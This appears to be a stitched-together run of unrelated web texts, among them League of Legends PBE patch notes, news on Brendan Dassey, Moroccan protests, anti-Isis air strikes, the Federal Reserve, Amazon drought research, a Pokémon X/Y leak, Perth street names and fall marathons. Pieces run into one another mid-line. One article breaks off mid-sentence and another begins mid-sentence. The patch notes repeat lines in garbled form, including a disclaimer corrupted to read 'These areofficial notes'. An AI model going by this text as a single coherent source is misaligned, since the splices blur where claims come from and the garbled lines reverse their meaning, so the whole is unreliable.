(Warning: PBE Content is tentative and iterative - what you see may not reflect what eventually gets pushed to live servers! Manage your expectations accordingly. )
Table of Contents
Dark Star Varus splash art
Splash art for the upcoming Dark Star Varus skin.
Miscellaneous
The Tab screen timers now uses the elemental/Elder dragon icons to show which spawned or spawning soon.
The chat call out when a dragon is slain now specifies which dragon was killed.
Balance Changes * Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These are not official notes.
*: The PBE is a testing grounds for new, tentative, and sometimes radical changes. The changes you see below may be lacking context or other accompanying changes that didn't make it in - don't freak out! These areofficial notes.
Champions
Fizz
Range reverted to 175 from 125
to 175 from 125 Seastone Trident (W) % of target's missing health reduced to 4/4.5/5/5.5/6% from 4/5/6/7/8%
Xin Zhao
Base health increased to 600 from 591.16
to 600 from 591.16 Health growth increased to 95 from 87
Items
Essence Reaver
Price reverted to 3600 from 3500
to 3600 from 3500 Attack damage increased to 70 from 65
Infinity Edge
Price reverted to 3600 from 3500.
to 3600 from 3500. Attack damage increased to 70 from 65
Maw of Malmortius
Price reverted to 3250 from 3350.
Phantom Dancer
Price reverted to 2550 from 2650
Rapid Firecannon
Price reverted to 2600 from 2700
Runaan's Hurricane
Price reverted to 2600 from 2700
to 2600 from 2700 Attack speed reverted to 40% from 35%
to 40% from 35% Bolt damage reverted to 25% AD from 30% AD
Statikk Shiv
Price reverted to 2600 from 2700You may know Brendan Dassey as the confused but lovable teenage cousin from the 2015 Netflix true crime hit Making a Murderer.
Dassey, who blundered his way through what many would call unethical police questioning tactics, has spent the better part of his adolescence and adulthood behind bars for the murder of Teresa Halbach.
Since a judge overturned his conviction on Aug. 12, fans have rallied around Dassey, eager to give him back the years he lost and then some. True fans of the show will know that Dassey lamented the loss of simple pleasures while imprisoned. He wanted a pet cat, and he yearned with all his heart to see WrestleMania live.
A change.org petition to send Dassey to WrestleMania on the trip of a lifetime quickly earned more than 2,000 signatures. And now, according to Complex, popular porn site xHamster will be footing the bill for Dassey’s dream trip.
“We are pleased that we can make this young man’s dream of going to WrestleMania come true,” xHamster spokesperson Alex Hawkins told Complex in a statement Monday. “We have been in talks with the family and they are more than thrilled that Brendan will get this opportunity after so many years of heartache and injustice. We are waiting on a response from Brendan and we know he will be thrilled that he is going to WrestleMania when he gets out.”
According to TMZ, Dassey’s other dreams for life as a free man include getting a job in video game design and chowing down on some of his mom’s home-cooked chili and lasagna.
H/T ComplexOrganisers said they were surprised by the crackdown as similar protests had been held for weeks [Reuters]
Dozens of protesters have been injured in the Moroccan city of Casablanca as security forces broke up a rally of several hundred people demanding political reforms.
Riot police armed with truncheons broke up the protest on Sunday in an unusual show of violence - rallies have been held in Casablanca's main King Mohammed Square every week for the past month.
"This was a peaceful rally, we don't know what made the police attack a peaceful protest," Ghizlaine Benameur, an
opposition activist who took part in the rally, was reported by the Reuters news agency as saying.
"This has been their most violent intervention since the start of the protests last month," she said.
The AFP news agency reported a witness as saying they had seen police beating a pregnant women amid the clashes.
Many protesters sought refuge in the offices of the Unified Socialist Party (PSU) to escape the clashes.
"The police could not get into the headquarters, particularly because of the resistance of the demonstrators who were beaten up," Abderrahim Tafnout, a PSU leader, said.
"About 30 of the injured, 10 of whom were badly hurt, were taken to hospital," said Tafnout, who works as a journalist for state television. "Most of them had received blows to the head, while others had more minor wounds."
Police used loudhailers to call on the demonstrators, many of whom were supporters of the Justice and Charity Party (PJB), a movement which is banned but tolerated, to leave the PSU headquarters.
Most analysts say Morocco is among the countries in the region least likely to be hit by the wave of unrest sweeping the Arab world.
King Mohammed, Morocco's monarch, announced on Wednesday he had appointed a committee to draft a reform of the constitution widening the prerogatives of elected officials, and ensuring officials are accountable and the judiciary independent.
Opposition members and activists from the PJB have said the proposal is unsatisfactory.Timothy Tross and Ben Clifford show Rick Santorum how they feel about his stance on gay rights.
Some man-on-man action disrupted a Rick Santorum rally at a Christian school in suburban Arlington Heights on Friday.
As Santorum addressed the crowd, two men in the back stood up and started yelling, "Mic Check!" Then, when they had everyone's attention, embraced in a prolonged kiss, FM News 101.1 reported.
The crowd responded by chanting, "USA! USA!," as security escorted the men out of the room.
Patch Local identified the men as Timothy Tross and Ben Clifford. The pair told the Patch that Santorum's stance against gay rights is what prompted their protest kiss.
About 2,000 people attended the Santorum event, while about 50 protested outside, according to the Patch.
Santorum continues to stump in Illinois. On Sunday, he's expected at the Moody Bible Church in Chicago. The Duggar Family, of reality-TV fame, will be there to campaign on his behalf.This article is over 4 years old
The US and its coalition partners have launched another round of air strikes against Islamic State (Isis) militants in Iraq and Syria, conducting 26 strikes since early on Friday.
In a statement released on Saturday from the Combined Joint Task Force leading the military operation, officials said 13 strikes hit in Syria and also 13 hit in Iraq.
In Syria, 12 air strikes targeted Isis positions near Kobani. In Iraq, five strikes hit near Mosul and five near Tal Afar, the statement said.
US Central Command later said that of the strikes near Kobani, a town on the Turkish border which has been contested for months, “12 airstrikes struck eight Isis tactical units and a large Isis unit and destroyed an Isis vehicle, an Isis building, and eight Isis fighting positions”.
The other strike in Syria was near al-Hasakah, Central Command said, and “destroyed an Isis mobile oil drilling rig”.
Central Command also detailed targets hit in Iraq, which it said included Isis weapons production facilities, units, roads and vehicles.
All aircraft returned to base safely.
John Kerry: tide beginning to turn against Islamic State Read more
Strikes against Isis began in Iraq on 8 August and Syria on 23 September, and have been carried out by a multinational coalition, including Arab countries and under US leadership.
Amidst questions about the efficacy of such a prolonged campaign, the US secretary of state, John Kerry, said on Thursday the strikes were working.
At a meeting in London of more than 20 countries who last year formed the coalition to fight Isis, Kerry acknowledged the fight would be “neither short nor easy”, but insisted the tide was beginning to turn.
“In recent months we have seen, definitively, Daesh’s momentum was halted in Iraq,” he said, using another name for the group, “and in some cases reversed. Ground forces supported by nearly 2,000 air strikes now, have reclaimed more than 700 square kilometres.”
Mother of Japanese Isis hostage Kenji Goto makes tearful appeal Read more
Isis militants conquered large swathes of Iraq and Syria last year, in a brutal campaign to establish an Islamic caliphate.
On Saturday, western powers were still working to verify the condition of two Japanese hostages held by Isis, who were shown in a video released this week.WASHINGTON, Aug 22 (Reuters) - The U.S. Federal Reserve has two guiding goals when designing monetary policy: maximum employment and stable inflation.
But as the country’s central bankers converge for their annual symposium in Jackson Hole, Wyoming this week, they are under increasing pressure to reform their own system and goals to better reflect the diversity of America and its incomes.
At this year’s flagship economic policy conference, from Aug. 25-27, U.S policymakers will confer not only with their counterparts from around the world but also host a meeting on Thursday with a group calling for a radical overhaul of the Fed.
Fed Up, a network of community organizations and labor unions that wants a more diverse, transparent and income-inequality aware central bank, will meet with Kansas City Fed President Esther George.
It may be one reason why the organizers changed the dress code for the evening, usually a suited and booted affair, to casual attire.
So far three other Fed policymakers, New York’s William Dudley, Cleveland’s Loretta Mester and Boston’s Eric Rosengren, are also scheduled to attend.
A Fed spokesman had no immediate comment on whether any members of the Fed’s Washington-based Board of Governors would also attend the meeting.
The activists will look to build on their proposals, put forward in conjunction with former top Fed policy adviser Andrew Levin, to make the Fed’s 12 regional banks government entities. The Fed is the world’s only major central bank that is not fully public.
POWERFUL ALLIES
The group has recently been joined by powerful allies in Congress in forcing racial, gender and income inequality up the Fed’s agenda.
Democratic presidential candidate Hillary Clinton has come out in favor of restricting the financial world’s influence on regional Fed boards.
In May, 127 U.S. lawmakers including Senator Elizabeth Warren and former Democratic presidential candidate Bernie Sanders sent a letter to Fed Chair Janet Yellen urging more diversity among its ranks in order to “reflect and represent the interests of our diverse country.”
Currently 11 of the 12 regional Fed presidents are white, 10 are male, and none are black or Latino. At the Board level, the highest echelons of the Fed, Yellen is the first woman chair in the central bank’s 103-year history.
SIGNS OF CHANGE
There are indications that the steady drumbeat of pressure is having some effect on areas on which the Fed does have some control.
“I believe that diversity is extremely important in all parts of the Federal Reserve,” Yellen told Congress in June under sustained scrutiny from lawmakers about the Fed’s performance.
Minorities now make up 24 percent of regional Fed bank boards, up from 16 percent in 2010, while 46 percent of all directors are either non-white or a woman.
Yellen, who has not been shy in speaking on income inequality, has also noted that rising inequality could curb U.S. economic growth.
And for a Fed not used to addressing distributional issues associated with monetary policy, such considerations are now seeping into policy discussions.
“The unemployment rate for African Americans and for Hispanics stayed above the rate for whites...” the Fed noted in minutes released last week from its policy meeting in July.
Or as Yellen put it to Congress in June, “We’re certainly very focused on...wanting to promote stronger job markets with gains to all groups.” (Reporting by Lindsay Dunsmuir; Editing by Chizu Nomiyama)Marcos and Crisly, Ana and Blanca, Fabiola and Maria Antonia.
The youths were among 20 from Honduras, El Salvador and Guatemala who were set to appear in federal immigration court Tuesday for initial deportation hearings. But they weren’t there — 18 of the children whose cases were set to be heard didn’t show up Tuesday for court.
It was an absentee rate that federal Immigration Judge Michael Baird said was “highly unusual,” so high that he reset the hearings for Aug. 11 rather than possibly issuing a deportation order.
Baird said he was concerned that the children may not have received proper notice of the hearings from the government. Attorney Lynn Javier, with the U.S. Department of Homeland Security, agreed that it was “prudent” to reset the hearings.
The children are among about 100,000 juveniles who have entered the U.S. without a parent in the last two fiscal years, according to Homeland Security. None of the children set to appear on Tuesday had an attorney, a swelling reality that inspired Dallas Catholic Bishop Kevin Farrell on Monday to appeal to attorneys to step up to provide free services.
The judge’s decision drew praise from local immigration lawyers. Paul Zoltan, an immigration attorney in Dallas, called the decision “classy,” saying the children would have time to get attorneys and any mailing errors could be corrected.
“It gives the kids another chance,” he said.
In general, 46 percent of juveniles don’t show up for their immigration court hearings, according to Capitol Hill testimony recently from Juan Osuna, who directs the Justice Department’s immigration courts. The Executive Office of Immigration Review faces a backlog of 375,000 cases and was ordered a few weeks ago to make unaccompanied juveniles the top priority.
The high number of no-shows Tuesday raised questions about whether the children had enough time to prepare for the hearings or whether they and their families made calculated risks not to appear in court.
Nine out of 10 unaccompanied juveniles who do not have attorneys will be deported, according to a new study by the Syracuse, N.Y.-based research center Transactional Records Access Clearinghouse.
Many interviewed have said they faced gang recruitment and gang violence in their home countries. But under the U.S. laws for granting asylum and restrictive definitions of persecution, those cases are difficult to win.
“I would imagine things are moving too quickly,” said Renato de los Santos, who has a long history of working with youth programs in the League of United Latin American Citizens. “I wouldn’t be prepared in just few weeks, let alone a few days.”
The Dallas Hispanic Bar Association has recently signed up 160 attorneys to represent the children and has begun training sessions for them.
Monica Lira Bravo, an immigration attorney and co-organizer of the pro bono effort, said so many unrepresented minors underscores the need for lawyers. Once a juvenile is represented, the attorney will receive notices of court hearings, she said.
“This shows why it’s important for the children to be represented, to have counsel in proceedings,” Lira Bravo said.The Modis instrument scans the Earth's surface every eight days
Researchers found that during the 2005 drought, many parts of the rainforest "greened", apparently growing faster.
This finding contrasts with some computer models of climate change, which forecast that the Amazon would dry out and become savannah.
Writing in the journal Science, the researchers say it is unclear how the forest would respond to a long drought.
"We measured the changes between the drought (of July to September 2005) and an average year," explained study leader Scott Saleska from the University of Arizona, Tucson, US.
Some of the models, in particular the Hadley Centre group, became famous for predicting collapse of the Amazon and a change into savannah
Scott Saleska
The scientists used the Modis (Moderate Resolution Imaging Spectroradiometer) instrument on the US space agency's (Nasa) Terra satellite to make their observations.
Some areas of the Amazon had seen reduced growth during the drought, but these were regions heavily impacted by human activities.
Clear skies
It has been thought that stressed trees in drought conditions would try to preserve their water by reducing loss through leaves (transpiration), with this shut-down having a consequent knock-on for photosynthesis.
This, in turn, would be expected to exacerbate the drought by interrupting the supply of water into the atmosphere, a supply which contributes to rainfall.
"There's a prompt response to the initial drought: trees down (transpiration), they release less water to the atmosphere so there's less to recycle as rain; and in that model world, it pushes the forest over the edge.
"We've tested whether that mechanism is there, and found it's not there on a short timescale. That doesn't mean the forest won't collapse, but it says that the scenario in that model is not right in that particular [situation]."
Although increased photosynthesis in drought conditions might appear counter-intuitive, the group said it could be explained if the trees were still able to access water reserves with deep root systems.
Persistent bright skies during a drought would allow more sunlight through to the leaves, driving photosynthesis and leading to the "greening" seen from space.
Model refinement
Chris Jones from the UK's Hadley Centre for Climate Change commended the study, and said it demonstrated the importance of using real-world observations to challenge and fine-tune the models.
He added that the Hadley and Saleska teams were sharing data.
The British researcher agreed that the satellite images showed up the short-term constraints of the Hadley model, but did not overturn the long-term predictions of his group.
"The key thing here is that the tree roots access water deeper than is often represented in models," he told BBC News.
"In most models, including ours, this goes down to about three metres, which for most of the world's vegetation is fine. But these (Amazon) trees can clearly go deeper than that, so while our model predicts they would suffer during a couple of months of drought, in reality they have access to a much deeper store which doesn't respond on that timescale."
He said, however, that a climatic shift to longer and more frequent drought conditions would eventually diminish the deep-water stores, and make the trees suffer.From Bulbanews, your community Pokémon newspaper.
Pancham's evolution unveiled to be Goronda
Article Discussion Report error Thursday, July 11, 2013 Reported on Bulbanews by G50
Originally reported in CoroCoro Comics magazine
This article is breaking news. Some contents may change—be sure to check back regularly.
Link to this article
The August 2013 issue of CoroCoro Comics has leaked. It has revealed several new Pokémon, two Gym Leaders, and a mysterious group named Team Flare.
New information about Xerneas and Yveltal has been unveiled. Xerneas is a pure Fairy-type Pokémon. Xerneas's special move is Geo Control. When using Geo Control, Xerneas releases seven-colored beams of energy from the ground. Its Ability is Fairy Aura, which the raises power of Fairy-type moves. Xerneas is the Life Pokémon.
Yveltal's special move is Death Wing. It is a Dark/Flying-type Pokémon. It has the Ability Dark Aura, which raises the power of Dark attacks. It is the Destruction Pokémon.
Pancham's evolution is Goronda (ゴロンダ). Goronda can have the Abilities Iron Fist and Mold Breaker, and the move Hammer Arm. It is considered the Aggressive-looking Pokémon. It is a Fighting/Dark-type Pokémon. It evolves from Pancham with an unspecified new method. It has the description: "While it has a wild temperament, it won't allow anyone to bully the weak. It appears to have a warm heart."
The new squid Pokémon called Māīka (マーイーカ) is a Dark/Psychic-type Pokémon. It is considered the Spinning Pokémon. Its Abilities are Contrary and Suction Cups. It has the new Dark-type move Reverse, which reverses all of the enemy's status increases and decreases. It has the description: "By switching on and off the lights on the luminous body above its eyes, it deceives its opponent."
Māīka evolves into Karamanero (カラマネロ), the Reversal Pokémon. It is also a Dark/Psychic type and can have the same Abilities as Māīka. It can learn the move Hypnosis. Karamanero evolves from Māīka using an unspecified new method.
The previously revealed Pokémon Honedge is the Dagger Pokémon. It has been revealed to have the Ability No Guard.
Another new Pokémon is Shushupu (シュシュプ), the Perfumed Pokémon. It is a Fairy-type Pokémon and has the Ability Healer. It knows the move Aromatherapy. Shushupu and Skrelp are confirmed to be exclusive to Pokémon Y. It has the description: "It releases special scents from its body to mesmerize its opponent."
Another new Pokémon is Peroppafu (ペロッパフ), the Cotton Candy Pokémon. It is a Fairy-type Pokémon and has the Ability Sweet Veil; Sweet Veil is a new Ability which prevents allies from sleeping. It has the new move Drain Kiss, which restores its own HP. Peroppafu and Clauncher are confirmed to be exclusive to Pokémon X.
The Player Search System connects players. It includes 'Miracle Trades', where the player can trade with another person; Miracle Trades are described as 'heartpounding'. It includes the Global Trade Station, where the player can search for Pokémon, and trade them. It includes 'Happy Sign', where the player can tell everyone how they feel and what they have done in the games; for example, broadcasting that they received their first Badge. With '0 Power' (oh power), the player can activate powers to help them on their adventure. One example is Attack Power Lv. 1, which slightly raises the Attack of Pokémon currently out in a battle. It needs three bluish icons to use it, and one reddish icon to use it on the opponent. It also includes a Holocaster, which will inform the player of official tournaments and news.
The professor in the Pokémon X and Y games is named Professor Platane. He gives the player their starter Pokémon.
A mysterious organization called Team Flare (フレア団) appears in the games. They wear red suits, and their goal is to gather money. A scan shows them in battle.
The two new Gym Leaders that were unveiled are Zakuro (ザクロ) and Citron (シトロン). Zakuro is a mysterious Gym Leader, whose specialty is playing sports. Citron is a Gym Leader passionate about new inventions.
Magazine pages
CoroCoro page 41
CoroCoro page 42
CoroCoro page 43
CoroCoro page 44
CoroCoro page 45
CoroCoro pages 52-53
New Pokémon
Goronda
Māīka
Karamanero
Shushupu
Peroppafu
New NPCsIn 2008, Jennifer Teege was strolling around a library in her native Germany for books on the depression she’d been struggling with when she spotted a cover photograph that looked strangely familiar: her biological mother.
So began a shocking odyssey in which Teege would learn the painful truth: Her maternal grandfather was Amon Goeth, the infamous Nazi war criminal portrayed by Ralph Fiennes in Steven Spielberg’s Oscar-winning film Schindler’s List.
Now Teege, a German-born black woman who was given up for adoption as a child, has chronicled her journey in a memoir due out in the United States in April titled My Grandfather Would Have Shot Me: A Black Woman Discovers Her Family’s Nazi Past.
“The first shock was the sheer discovery of a book about my mother and my family, which had information about me and my identity that had been kept |
vehicles are also among the other facilities of the station, distinguished for its modern architectural style. The station will be directly linked to means of mass transit, such as a suburban rail system and the subway.
The station has a closed area of 194,460 square meters and consists of eight floors, including the basements, three platforms and six high-speed lines.
High-speed trains are a relatively new concept in Turkey. The railroad network, despite an emphasis on its expansion in the early years of the Republic, remained underdeveloped. The country started high-speed railway operations with lines between the capital and Eskişehir, in the west, in 2009. It was followed by lines between Ankara and Konya in 2011, Konya-Eskişehir in 2013 and Ankara-Istanbul, Konya-Istanbul lines in 2014, making Turkey the eighth country in the world to utilize high-speed trains and the sixth in Europe.
Construction work is underway for more high-speed lines between Ankara and the central city Sivas, as well as the western city of İzmir. High-speed lines are also being planned between the western cities of Bursa and Bilecik and the central cities of Konya and Karaman.
As part of its "2023 goals," a set of ambitious projects Turkey undertook to mark the 100th anniversary of the Republic, Turkey plans to lay 3,500 kilometers of high-speed rail lines.But it's hard to read or hear about the absurd amount of car-versus-house accidents in Perth without arriving at the conclusion that we also have more than our fair share of interesting (to put it mildly) street names. Two things I have learned in compiling this piece. One is that newsagents still actually stock hard-copy street directories. And two, it's possible to spend several consecutive nights in bed, amusing one's self with said directory. OK, so maybe that last bit didn't didn't come out quite as intended. But neither, I suspect, did some of the names in the lists below:
Beard Elbow (Bayswater): I have no idea what this means - a colleague suggested it sounded like a euphemism for a part of the female anatomy - and I have no idea who says "hey, we've already got one name that's a body part, let's just throw it together with another body part". But you know what? I kinda like it. History: R Beard was President of the Bayswater Shire Council in 1904. Upperthong Street (Bullsbrook): Unless there's a Victoria Bitter Avenue somewhere that I don't know about, this is the single most Australian name for a street that I can imagine (although in other countries it would have an entirely different connotation). Imagine your pizza order: "No, seriously. Upperthong. U-P-P..." History: Upperthong is a village near the town of Holmfirth in the Holme Valley, West Yorkshire, England. Black Pearl Lane (Byford): Sadly, I've discovered this street wasn't named in honour of Perth Wildcats great Cal Bruton. But it got me thinking about why something like this didn't happen when they knocked over the old stadiums at Perry Lakes. We've got a whole bunch of boringly generic titles - like Hurdles Drive and Javelin Lane - but nothing remotely hoops-related and certainly no Alabama Slammer Parade, Mike Ellis Mews or Eric Watterson Way. And that's not even mentioning the potential jewel in the crown, the all-encompassing David Radar Close. History: semi-precious stones and rocks. Cockman Cross (Stratton): I was going to file this away in another sub-category (see below) but after it ended up in the news last week in the only Perth hog-tying story I can ever remember editing, I figured it deserved a berth all of its own. 1) I don't want to lose my wallet there. 2) I badly want to know how people who live there pronounce it. Tell me it's "Co-man"? Actually, for the sake of my own entertainment, please tell me it's not. Stalker Road (Gosnells): Memo to single men living on this street. The prospective date you are inviting over for dinner isn't going to turn up. Ever. You need to change your address. Immediately. History: The Stalker family were early settlers to the area in 1911 (my own personal historical note - there were no Smiths or Jones living in Gosnells at the time?).
Allnutt St (Mandurah), Beaver Place/Street (Noranda/Tuart Hill). Bootie Place (Hillarys), Geekie Lane (Wembley), Gobby Road (Keysbrook), Handcock Way (Kingsley), King Horn Place (Redcliffe), Nookie Street (Dudley Park), Penistone Street (Greenwood), Tims Thicket Rd (Bouvard/Dawesville). Titicaca Court (Joondalup), Thrush Road (Melaleuca), Tongy Link (Ellenbrook), Vagg Street (Bull Creek). Yeah, I'm looking at you: Achievement Way (Wangara), Achiever Avenue (Port Kennedy), Astounding Way (Aubin Grove) Awe Pass (Kinross), Brilliant Rise (Stratton), Excellence Drive (Wangara), Hero Crescent/Court/Lanes (Bertram/Nambeelup/Brabham/Madora Bay), Legend Crescent/Place (Greenfields/Cooloongup), Panache Gardens (Joondalup), Sensation Lane (Aubin Grove), Sublime Glades (Carramar) Superior Rise (Edgewater).
We've got at least two clusters of constellation-themed streets (in Carlisle and Beckenham) and, if you include Pluto Drive in Harvey and Pluto Rise in McKail (Albany), roads named after every other planet in the solar system. But there is no Uranus. To start with this is astronomically incorrect. And for seconds, it robs us of a real chance to measure the effect of a street name on house properties. Would you pay more or less to live in Uranus Drive? And that's not even considering the awesome directions we're missing out on: "Take a left on Jupiter, then a right onto Mars and then another left down Saturn. But if you end up in Uranus, you've gone too far." Old Chestnut Lane (Joondalup). Just sounds homely. Just sounds homely. Plus, how could you not want to be able to tell people your address and have them say "Oh, that old chestnut". Of course, it's important that I point out that none of this street naming is done in a vacuum. Landgate has a very stringent process around it, about which you can read more HERE. You can also listen to Bruce Roberts, chair of the Geographic Names Committee, discussing the process with my Radio 6PR colleague Peter Bell. Also, for reasons related to having a life - also known as freeing up time to watch European PGA events on my laptop in bed - I've so far only studied the metropolitan street directory. And, having nearly crashed my car the first time I glimpsed Poverty Lane on the drive from Kalgoorlie to Esperance, I know there are some cracking country streets out there too.Kirk Cameron Joins Rick Warren, Billy Graham on Strict Female Rule
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[Updated 1:07 pm, Feb. 14, 2012]
"Growing Pains" star and born-again Christian Kirk Cameron made news for not only what he said at the Conservative Political Action Conference on Thursday, but also for what he did off stage.
Cameron, who was there to speak about his new documentary "Monumental: In Search of America's National Treasure," was reported to have a strict rule of not taking photos with a woman alone. The actor and Christian evangelist was being interviewed by Washington Examiner's political gossip columnist Nikki Schwab when TWT's opinion editor Emily Miller tried to take a photo of Cameron talking to Schwab, according to Mediabistro.
But one of Cameron's people reportedly quickly pushed Miller to prevent the photo (she has a blurry photo instead). His people reportedly told Miller that "He can't be photographed alone with a woman."
A representative from the film "Monumental," however, disputed Miller's account of the event. The spokesperson, who was present during the time of the incident, told The Christian Post that the alleged pushing report is a "total fabrication." The woman never identified herself as a photographer with a paper, the spokesman asserted. Rather, she stepped into the crowd and took a quick photo, which would explain why the photo was blurry, he noted. The spokesperson did confirm that Cameron does have a rule of not taking photos alone with a woman.
Several prominent male Christian leaders also have strict rules when it comes to being alone with a woman other than their wife.
Rick Warren, for instance, told American radio talk show host Hugh Hewitt in 2009 that he avoids being in a situation where he could be tempted to compromise his faithfulness to his wife.
"[Y]ou have to set up the parameters that keep you from even being tempted in those areas, which means for instance, I'm never alone, ever, ever, alone with a woman, or even by myself when I'm traveling," said Warren on "The Hugh Hewitt Show" on April 8, 2009.
Warren said he follows the same rule as Billy Graham. Graham adhered to the rule of never being alone in a room with a woman other than his wife, which became known as the Billy Graham Rule, to avoid even giving the appearance of any wrongdoing.
It is unclear if Cameron also abides by the Billy Graham Rule on top of his photo rule.
SEE VIDEO OF KIRK CAMERON SHARING THE GOSPEL
As for his speaking at CPAC, Cameron outlined some major issues he thought were hindering the nation and advocated for concerns that have been specifically affecting him lately. Among such issues were the economy, decreased spirituality, and moral decline.
"As I look around I get this sinking feeling that we're off track, that there's something sick in the soul of our country," Cameron said at the conference, according to Politico. "I examine the fruit that's hanging on the tree of America and I can see that it's rotting. And that deeply concerns me."
"The family is falling apart. Divorce is at an all-time high," he said. "Teenage pregnancy, drugs, alcohol – things that used to be shameful 50 years are now normalized in public school and celebrated on television."
The "Fireproof" star says he is "probably not" endorsing anyone in the GOP race despite him coming to the political event. Instead, he explained that he came to the conference because he wanted to enlighten people about the rich history of the United States.
His new film, "Monumental: In Search of America's National Treasure," is set to be released March 27. The film gives a thorough analysis of why America has been forgotten as a great nation and examines early U.S. history, while formulating a solution to help America's foundation succeed again.
"What I discovered is the seeds that blossomed into this great nation really began with the faith of the Pilgrims," Cameron discussed on MSNBC.
On the Web: www.monumentalmovie.comBING Crosby wrote to Archbishop John Charles McQuaid in October 1961 seeking his help in finding Irish staff for a hospital he was setting up in California.
BING Crosby wrote to Archbishop John Charles McQuaid in October 1961 seeking his help in finding Irish staff for a hospital he was setting up in California.
Some of the Dublin archdiocese's rarest and quirkiest documents are to be dusted off and publicly displayed for the first time as part of an exhibition of archival material to tie in with Friday's Culture Night.
The exhibition will also show correspondence concerning the visit of Princess Grace of Monaco to Crumlin Hospital in June 1961.
Dublin diocesan archivist Noelle Dowling said a comment written by Archbishop McQuaid on one document is an example of his sarcastic sense of humour.
In response to questions over the protocols for the former Grace Kelly's arrival at the hospital, and who was going to attend, the Archbishop scrawled: "Just let me in."
Ms Dowling said: "We fall around the place laughing at what he says to people or about people.
"He was pernickety about spellings or being misquoted or the correct form of address."
The oldest document in the exhibition, at Holy Cross College, Clonliffe, between 6pm and 9.30pm on Friday, is a parchment dating from 1558.
LOCKOUT
It was issued by Hugh Curwen, an English cleric who was then Archbishop of Dublin and Lord Chancellor of Ireland, and who had earlier expressed his approval of the marriage of Henry VIII to his second wife, Ann Boleyn, in 1533.
It relates to his grant of land around Dunlavin to William Sarsfield, a local to that area or a favourite of Curwen's at the time of the plantation.
To mark the centenary of the 1913 Lockout, a large part of the exhibition includes documents chronicling the role of the Catholic Church in the dispute.
"In the letters we selected we have tried to give a feel of the good, the bad and the ugly sides of the church's involvement," said Ms Dowling.
"Some of the priests were very anti-Larkin.
"Archbishop William Walsh's secretary, Mgr Michael Curran, provides very descriptive material regarding the events of the day. In one letter, he describes the women and girls around Brunswick Street who clashed with police as 'barbarian maniacs'."
It is hoped the exhibition will become an annual event.
Ms Dowling said there was plenty more material in the archives, including a papal bull dating from 1555 granting the see of Dublin to Archbishop Hugh Curwen and a charter for the Guild of Sythe dating from the early 1500s.
Irish IndependentThe post-Olympic blues are real. Thank goodness marathon season is upon us, bringing a fresh round of international competition to spectate and enjoy.
Many top U.S. runners are slated to compete in the World Marathon Majors against a few of the fastest athletes around the globe. Olympian Dathan Ritzenhein takes another stab in New York, where American record holder Molly Huddle will debut at the distance. Luke Puskedra is scheduled to run Chicago, perhaps avenging that fourth-place finish at the Olympic Trials.
Kara Goucher, his counterpart in that fourth-place position (one away from making the Olympic team), won’t be competing in a marathon this fall, but hopes to be toeing the line in the spring.
Below are the highlights to come in the fall marathon racing season.
Berlin Marathon
When: September 25, 2016
Where: Berlin, Germany
Who’s Racing: Berlin is where the elites go to run fast. Dennis Kimetto set the world record here in 2014 with a time of 2:02:57. In fact the men’s world record has been broken in Berlin seven times. This year Kenya’s Wilson Kipsang, one of the former world-record holders (a 2:03:23 set in 2013), will compete again six others who have personal best times faster than 2:06. Those athletes include Kenenisa Bekele of Ethiopia and the fastest man on the start list, Emmanuel Mutai, who ran 2:03:13 at this race in 2014 for second place. Tsegaye Mekonnen, an Ethiopian who clocked a 2:04:32 in Dubai when he was just 18 years old (he is 21 now) will also compete.
The women’s field is not quite as deep as the men’s, but features Aberu Kebede of Ethiopia, who has won Berlin twice and has a personal best of 2:20.30. Others to watch include Amane Beriso, Birhane Dibaba, and Ruti Aga, all from Ethiopia. Beriso took second in January in Dubai with a 2:20:48.
The race has not announced any Americans in the elite field, but Nick Arciniaga, who placed 10th in February at the marathon trials, is set to compete, he said.
Chicago Marathon
When: October 9, 2016
Where: Chicago
Who’s Racing: It’s another fast, flat course on the World Marathon Majors circuit and this year’s edition could be a quick one. Kimetto, the world record holder, was on the starting list, but organizers announced on Thursday, Sept. 22, that he has dropped out due to injury. Dickson Chumba from Kenya is still slated to start—he took his third victory in Chicago last year and will be joined by Tsegaye Kebede from Ethiopia, the 2012 Chicago Marathon champion. Watch out for Stephen Sambu of Kenya, the 8K world-record holder who is making his debut at the distance.
American men to watch include Luke Puskedra who was fourth at the U.S. Olympic Trials in February, one spot away from making Team USA. He was the first American with a personal best of 2:10:24 in Chicago last year. Diego Estrada attempted his 26.2-mile debut at the trials, but didn’t finish the race there. He is slated to race in Chicago and hopes it will be his foray into competing at the distance. Estrada competed in the 2012 Olympic 10,000-meters for Mexico (he now competes for the U.S.).
Florence Kiplagat from Kenya is back to defend her title. She’s the world record holder in the half marathon (1:05:09) and has a marathon best of 2:19:44, which she set in 2011 in Berlin. Kiplagat will face Atsede Baysa from Ethiopia, who won the 2016 Boston Marathon in April and was the 2010 and 2012 Chicago champion as well.
American Serena Burla is scheduled to compete as well. She has a personal best of 2:28:01 and raced the U.S. Olympic Marathon Trials in 2012 and 2016. Tera Moody and Sarah Crouch are also on the start list.
New York City Marathon
When: November 6, 2016
Where: New York
Who’s Racing: If you’re looking for U.S. talent this fall, New York City Marathon has it in abundance. Molly Huddle, who just set the 10,000-meter American record at the Olympics in August (30:13.17), will make a much-anticipated debut at the distance, as will Kim Conley, a two-time 5,000-meter Olympian. Dathan Ritzenhein will race on the men’s side and seems poised for a comeback of sorts after the two-time Olympian dropped out of the marathon trials in February—he just placed second at the Great North Run half marathon in 1:00:12, the second-fastest of his career.
Ritzenhein’s quest for the podium will be challenging. Stanley Biwott will be back to defend his title. The Kenyan dropped out of the Rio Olympic marathon at halfway, but his credentials are formidable—twice runner up in London and a half marathon best of 58:56. Lelisa Desisa of Ethiopia will also compete—he is a two time Boston champion. As will Ghirmay Ghebreslassie of Eritrea, who was the gold medalist at the 2015 IAAF World Championships marathon at age 19.
Other American men to look for:
Abdi Abdirahman, four-time Olympian
Christo Landry, 2016 U.S. half marathon and 25K champion
Matt Llano, sixth at the 2016 U.S. Olympic Marathon Trials
Tyler Pennel, fifth at the 2016 U.S. Olympic Marathon Trials
Ryan Vail, comes with a personal best of 2:10:57 set at the 2014 London Marathon
Huddle and Conley will also run with some of the world’s fastest in their first marathon. Mary Keitany, who has won New York twice in two years, is back. She’s the second-fastest woman in history with a 2:18:37 career best. Keitany is also a mother of two. Joyce Chepkirui of Kenya, who Huddle beat by eight hundredths of a second at the 2016 NYC Half in March, is competing, as is Gladys Cherono, another Kenyan who has a 2:19:25 to her name. The 2015 New York runner-up, Aselefech Mergia of Ethiopia, is also back.
